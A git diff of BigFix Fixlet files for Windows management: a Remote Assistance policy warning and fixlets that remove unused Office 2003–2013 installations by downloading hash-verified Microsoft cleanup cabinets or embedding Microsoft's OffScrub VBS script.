+  <Fixlet>
+    <Title>Warning - Unsolicited Remote Assistance may not be allowed</Title>
+    <Description><![CDATA[<P><ENTER a description of problem and the corrective action here>Unsolicited Windows Remote Assistance requires setting a Group Policy setting:</P>
+<P>GP Path: Computer Configuration/Policies/Administrative Templates/System/Remote Assistance</P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P>Setting Name: Configure Remote Assistance<BR>Required State: Enabled<BR>Required Value: Allow Helpers to remotely control this computer</P></BLOCKQUOTE>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(value &quot;fAllowUnsolicitedFullControl&quot; of key &quot;HKLM\Software\policies\Microsoft\Windows NT\Terminal Services&quot; of registry as integer | 0) = 0</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes
index 4acfbc963..f4f1eb683 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2003 Components can be removed - Windows (23819).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Unused Microsoft Office 2003 Components can be removed - Windows
-  ID       : 23819
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-14T09:32:57
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Unused Microsoft Office 2003 Components can be removed - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2003 Installation.</P>
-<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel,&nbsp;Outlook, Powerpoint,&nbsp;or Word) exist on the system but the Office suite still appears in programs and features.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists keys (&quot;Access&quot;;&quot;Excel&quot;;&quot;Outlook&quot;;&quot;PowerPoint&quot;;&quot;Word&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office\11.0&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Edition 2003&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-prefetch o11-remove.diagcab sha1:0AD69E36F707FE4A2BB254F9DCDF7BD6A4EDAB97 size:145218 http://download.microsoft.com/download/F/0/F/F0F9BC5C-45A4-41F4-B9AC-30D678FBC428/MicrosoftEasyFix20054.mini.diagcab sha256:E9BAC8DD32094F77A31DCB94C32950CB209EE4B6BFB8781949B926E420BFA992
-
-waithidden expand -i &quot;__Download\O11-Remove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
-
-waithidden cscript &quot;__Download\OffScrub03.vbs&quot; ALL /Quiet</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2003 Components can be removed - Windows
+  ID       : 23819
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:32:57
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2003 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2003 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel,&nbsp;Outlook, Powerpoint,&nbsp;or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys (&quot;Access&quot;;&quot;Excel&quot;;&quot;Outlook&quot;;&quot;PowerPoint&quot;;&quot;Word&quot;) of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office\11.0&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Edition 2003&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o11-remove.diagcab sha1:0AD69E36F707FE4A2BB254F9DCDF7BD6A4EDAB97 size:145218 http://download.microsoft.com/download/F/0/F/F0F9BC5C-45A4-41F4-B9AC-30D678FBC428/MicrosoftEasyFix20054.mini.diagcab sha256:E9BAC8DD32094F77A31DCB94C32950CB209EE4B6BFB8781949B926E420BFA992
+
+waithidden expand -i &quot;__Download\O11-Remove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub03.vbs&quot; ALL /Quiet</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes
index 2a5cbafc4..1c256491a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2007 Components can be removed - Windows (23820).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Unused Microsoft Office 2007 Components can be removed - Windows
-  ID       : 23820
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-14T09:33:07
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Unused Microsoft Office 2007 Components can be removed - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2007 Installation.</P>
-<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;12.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2007&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch o12-remove.diagcab sha1:985027E630CBBC9497F3F257A3E62B8956926DEF size:388756 http://download.microsoft.com/download/4/7/A/47A0D191-D6F9-4C95-92E6-28D1DFF80F64/MicrosoftFixit20052.mini.diagcab sha256:5168D686CDC5A51F27CB96CA97B51DCC65931F504C63D2672DAF9A1F83F33669
-
-waithidden expand -i &quot;__Download\O12-Remove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
-
-waithidden cscript &quot;__Download\OffScrub07.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2007 Components can be removed - Windows
+  ID       : 23820
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:33:07
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2007 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2007 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;12.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2007&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch o12-remove.diagcab sha1:985027E630CBBC9497F3F257A3E62B8956926DEF size:388756 http://download.microsoft.com/download/4/7/A/47A0D191-D6F9-4C95-92E6-28D1DFF80F64/MicrosoftFixit20052.mini.diagcab sha256:5168D686CDC5A51F27CB96CA97B51DCC65931F504C63D2672DAF9A1F83F33669
+
+waithidden expand -i &quot;__Download\O12-Remove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub07.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes
index c31668720..4a5381458 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2010 Components can be removed - Windows (23821).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Unused Microsoft Office 2010 Components can be removed - Windows
-  ID       : 23821
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-14T09:33:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Unused Microsoft Office 2010 Components can be removed - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2010 Installation.</P>
-<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2010&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
-
-waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
-
-waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Unused Microsoft Office 2010 Components can be removed - Windows
+  ID       : 23821
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-03-14T09:33:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Unused Microsoft Office 2010 Components can be removed - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2010 Installation.</P>
+<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
+<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft Office (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word) MUI.*&quot;)) of keys &quot;14.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
+    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2010&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+prefetch o14-ctrremove.diagcab sha1:84860CDAF2DD94FDF37F7519079195EFD1DE7777 size:401870 http://download.microsoft.com/download/2/8/5/28568719-AD79-41EB-B0F2-76E16817DD0E/MicrosoftFixit20055.mini.diagcab sha256:1F4BF79BA164A975279FBA37C82B6927BA2908C44624F8A80AEAFBC1B422313A
+
+waithidden expand -i &quot;__Download\O14-CTRRemove.diagcab&quot; -f:OffScrub*.vbs &quot;__Download&quot;
+
+waithidden cscript &quot;__Download\OffScrub10.vbs&quot; ALL /Quiet /NoCancel /Force</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes
index 4ffdf0d93..bd22cc4f9 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Unused Microsoft Office 2013 Components can be removed - Windows (23822).bes	
@@ -1,4135 +1,4135 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Unused Microsoft Office 2013 Components can be removed - Windows
-  ID       : 23822
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-03-14T09:33:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Unused Microsoft Office 2013 Components can be removed - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet uses the Office Cleanup tool to remove a Microsoft Office 2013 Installation.</P>
-<P>This Fixlet will be relevant if none of the&nbsp;standard office apps (Access, Excel, InfoPath, OneNote, Outlook, Powerpoint, Publisher, or Word) exist on the system but the Office suite still appears in programs and features.</P>
-<P>For general information or to report issues with C3 Patch content please visit GitHub here: <A href="https://github.com/strawgate/C3-Patch">https://github.com/strawgate/C3-Patch</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists keys whose (default value of it as string contains (regex &quot;Microsoft (Access|Excel|OneNote|Outlook|Powerpoint|Publisher|Word|InfoPath) MUI.*&quot;)) of keys &quot;15.0\Common\InstalledPackages&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Office&quot; of (x32 registries;x64 registries)</Relevance>
-    <Relevance>exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Microsoft Office Professional Plus 2013&quot;) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x32 registries; x64 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[delete "OffScrub_O15msi.vbs"
-
-createfile until _end_
-'=======================================================================================================
-' Name: OffScrub_O15msi.vbs
-' Author: Microsoft Customer Support Services
-' Copyright (c) 2011-2015 Microsoft Corporation
-' Script to remove (scrub) Office 2013 MSI products
-' when a regular uninstall is no longer possible
-'=======================================================================================================
-Option Explicit
-
-Dim sDefault
-'=======================================================================================================
-'[INI] Section for script behavior customizations
-
-'Pre-configure the SKU's to remove.
-'Only for use without command line parameters
-'Example: sDefault = "CLIENTALL"
-sDefault = ""
-
-'DO NOT CUSTOMIZE BELOW THIS LINE!
-'=======================================================================================================
-
-
-Const SCRIPTVERSION = "1.99"
-Const SCRIPTFILE    = "OffScrub_O15msi.vbs"
-Const SCRIPTNAME    = "OffScrub_O15msi"
-Const OVERSION      = "15.0"
-Const OVERSIONMAJOR = "15"
-Const OREF          = "Office15"
-Const OREGREF       = "OFFICE15."
-Const ONAME         = "Office 2013 MSI"
-Const OPACKAGE      = "PackageRefs"
-Const OFFICEID      = "000000FF1CE}"
-Const HKCR          = &H80000000
-Const HKCU          = &H80000001
-Const HKLM          = &H80000002
-Const HKU           = &H80000003
-Const FOR_WRITING   = 2
-Const PRODLEN       = 12
-Const COMPPERMANENT = "00000000000000000000000000000000"
-Const UNCOMPRESSED  = 38
-Const SQUISHED      = 20
-Const COMPRESSED    = 32
-Const REG_ARP       = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
-Const VB_YES        = 6
-Const MSIOPENDATABASEREADONLY = 0
-Const LYNC_ALL      = "{{4A2C120F-307B-4400-B239-F29ADB54D3C6}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{5CFD6599-10E5-4CF0-B6E1-BF39D30A64F8}{{BF3AC8BA-1A0F-42AD-8B65-4250617AF682}{{3475BF22-3564-4EF3-A633-C5F3F4582392}{{263BA91B-7782-4EEB-A4FC-7BD554CAF1F3}{{AA256AE1-6B6A-48E6-9957-B38F92CA614B}{{D79732A1-BB17-4789-AE75-69D61261E305}{{C7B887F2-07CA-4903-93A2-9B4E16E4EABD}{{81BE0B17-563B-45D4-B198-5721E6C665CD}{{11298539-8073-4D54-B6A0-88D4FA512E5C}{{C192041D-2861-4E02-9F43-4041858A58F1}{{7023C711-0E65-471E-8048-12C455968841}{{58A013B1-1613-4978-881A-FCA43710C84A}{{7FD6C049-9777-4B51-91FF-B19D79ADF439}{{D3001D99-675B-44DF-A8EB-A7BB6F864DB7}{{0C5EA724-8649-47FA-B505-75B35390378D}{{13DE0C92-2AE4-48D0-8CC8-58D5E327BDCB}{{E7EC16E6-C220-41C0-9C91-5E7702B8EC86}{{1B10C75C-70E1-460E-B07B-D7DFF365D80F}{{331977BC-B246-46B4-8829-1D52F41C8C7B}{{D8255EF2-0BB2-4AF1-A662-5EBACD179475}{{DD069437-C92B-4C1C-A992-14F6C7E12C2C}{{E9E30DB3-8D72-43A0-B1B8-A6F8261D20D6}{{545B7E32-E254-40E1-8935-91C61E3D02C2}{{70409E9E-AFAE-4C05-AE57-F83B89819434}{{1D6E3225-753D-41AD-A2C4-68684700F592}{{217AA75D-82C0-4C49-9252-A0E6F9661688}{{5AB81CD4-7C78-420C-AAAC-855C4BADBDDD}{{AA595672-6515-4961-B81F-485F86627C76}{{C9F2C38C-21F0-4687-8C7D-51AA02CE8C98}{{DD80DED6-700D-4CC5-B2A9-C64A1AD155B9}{{88257193-EC61-4152-8AB1-A5FB4BE638D7}{{7D9109C3-58A9-4AFD-A1D3-47E7D811726E}{{71C6D199-5B8E-41E7-BA36-D99F66E0072E}{{1CFE7869-777D-4563-8161-2C75ED95B621}{{FE25DDB2-5766-4A9E-86D2-2B709CC8F65D}{{621F7793-1C51-45BA-899F-41557946B0E3}{{B31017AA-FBF8-4003-8785-EC789C2AE0C2}{{11849FBC-C416-4742-8279-17C3A2C85F72}{{4F380D4B-A84D-45C7-AF58-59EA2AEDF35A}{{81BE0B17-563B-45D4-B198-5721E6C665CD}"
-
-
-'=======================================================================================================
-Dim oFso, oMsi, oReg, oWShell, oWmiLocal, oShellApp
-Dim ComputerItem, Item, LogStream, TmpKey
-Dim arrTmpSKUs, arrDeleteFiles, arrDeleteFolders, arrMseFolders, arrVersion
-Dim dictionaryKeepProd, dictionaryKeepLis, dicApps, dictionaryKeepFolder, dicDelRegKey, dictionaryKeepReg
-Dim dicInstalledSku, dicRemoveSku, dictionaryKeepSku, dicSrv, dicCSuite, dicCSingle
-Dim f64, fLegacyProductFound, fCScript
-Dim sErr, sTmp, sSkuRemoveList, sWinDir, sWICacheDir, sMode
-Dim sAppData, sTemp, sScrubDir, sProgramFiles, sProgramFilesX86, sCommonProgramFiles
-Dim sAllusersProfile, sOSinfo, sOSVersion, sCommonProgramFilesX86, sProfilesDirectory
-Dim sProgramData, sLocalAppData, sOInstallRoot, sScriptDir
-Dim iVersionNT
-
-'=======================================================================================================
-'Main
-'=======================================================================================================
-'Configure defaults
-Dim sLogDir : sLogDir = ""
-Dim sMoveMessage: sMoveMessage = ""
-Dim fRemoveOse      : fRemoveOse = False
-Dim fRemoveOspp     : fRemoveOspp = False
-Dim fRemoveAll      : fRemoveAll = False
-Dim fRemoveC2R      : fRemoveC2R = False
-Dim fRemoveAppV     : fRemoveAppV = False
-Dim fRemoveCSuites  : fRemoveCSuites = False
-Dim fRemoveCSingle  : fRemoveCSingle = False
-Dim fRemoveSrv      : fRemoveSrv = False
-Dim fRemoveLync     : fRemoveLync = False
-Dim fKeepUser       : fKeepUser = True  'Default to keep per user settings
-Dim fSkipSD         : fSkipSD = False 'Default to not Skip the Shortcut Detection
-Dim fKeepSG         : fKeepSG = False 'Default to not override the SoftGrid detection
-Dim fDetectOnly     : fDetectOnly = False
-Dim fQuiet          : fQuiet = True
-Dim fBasic          : fBasic = False
-Dim fNoCancel       : fNoCancel = False
-Dim fPassive        : fPassive = True
-Dim fNoReboot       : fNoReboot = True 'Default to offer reboot prompt if needed
-Dim fNoElevate      : fNoElevate = False
-Dim fElevated       : fElevated = False
-Dim fTryReconcile   : fTryReconcile = False
-Dim fC2rInstalled   : fC2rInstalled = False
-'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
-Dim fForce          : fForce = False
-'CAUTION! -> "fForce" will kill running applications which can result in data loss! <- CAUTION
-Dim fLogInitialized : fLogInitialized = False
-Dim fBypass_Stage1  : fBypass_Stage1 = True 'Component Detection
-Dim fBypass_Stage2  : fBypass_Stage2 = False 'Setup
-Dim fBypass_Stage3  : fBypass_Stage3 = False 'Msiexec
-Dim fBypass_Stage4  : fBypass_Stage4 = False 'CleanUp
-Dim fRebootRequired : fRebootRequired = False
-
-'Create required objects
-Set oWmiLocal   = GetObject("winmgmts:{{(Debug)}\\.\root\cimv2")
-Set oWShell     = CreateObject("Wscript.Shell")
-Set oShellApp   = CreateObject("Shell.Application")
-Set oFso        = CreateObject("Scripting.FileSystemObject")
-Set oMsi        = CreateObject("WindowsInstaller.Installer")
-Set oReg        = GetObject("winmgmts:\\.\root\default:StdRegProv")
-
-'Get environment path info
-sAppData            = oWShell.ExpandEnvironmentStrings("%appdata%")
-sLocalAppData       = oWShell.ExpandEnvironmentStrings("%localappdata%")
-sTemp               = oWShell.ExpandEnvironmentStrings("%temp%")
